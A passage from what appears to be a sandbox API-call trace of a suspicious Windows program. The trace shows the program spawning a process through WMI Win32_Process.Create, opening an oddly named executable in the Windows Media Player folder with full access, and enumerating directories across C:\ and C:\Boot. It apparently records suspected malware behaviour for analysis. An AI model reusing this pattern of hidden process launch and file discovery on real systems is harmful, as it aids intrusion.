IUnknown:AddRef (This=0x1bb92630) returned 0x3 [0130.327] IWbemClassObject:Put (This=0x1bbba910, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb92630, varVal2=0x0), Type=0) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b9d0, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b910, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b910, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0130.328] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b9d0, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0130.328] IWbemServices:ExecMethod (in: This=0x1bbaa0f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bbba910, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bbbc470, ppCallResult=0x0) returned 0x0 [0130.521] IWbemClassObject:Get (in: This=0x1bbbc470, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4360*=0, plFlavor=0x27c4364*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xee0, varVal2=0x0), pType=0x27c4360*=19, plFlavor=0x27c4364*=0) returned 0x0 [0130.522] IWbemClassObject:Get (in: This=0x1bbbc470, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27c4360*=19, plFlavor=0x27c4364*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xee0, varVal2=0x0), pType=0x27c4360*=19, plFlavor=0x27c4364*=0) returned 0x0 [0130.523] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x954) returned 0x344 [0130.523] GetExitCodeProcess (in: hProcess=0x344, lpExitCode=0x273bebc | out: lpExitCode=0x273bebc*=0x103) returned 1 [0130.523] CoTaskMemAlloc (cb=0x404) returned 0x1bbbc720 [0130.523] QueryFullProcessImageNameA (in: hProcess=0x344, dwFlags=0x0, lpExeName=0x1bbbc720, lpdwSize=0x1bb7ed88 | out: lpExeName="C:\\Program Files\\Windows Media Player\\hand professional.exe", lpdwSize=0x1bb7ed88) returned 1 [0130.524] CoTaskMemFree (pv=0x1bbbc720) [0130.537] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0130.537] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0130.537] CoTaskMemFree (pv=0x1a9882a0) [0130.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0130.538] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.538] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d89c0 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0130.539] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0130.540] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.540] FindClose (in: hFindFile=0x1a9d89c0 | out: hFindFile=0x1a9d89c0) returned 1 [0130.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0130.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0130.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0130.541] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0130.541] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d89c0 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x35246c20, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x91949470, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x91923310, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0130.542] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0130.543] FindNextFileW (in: hFindFile=0x1a9d89c0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, 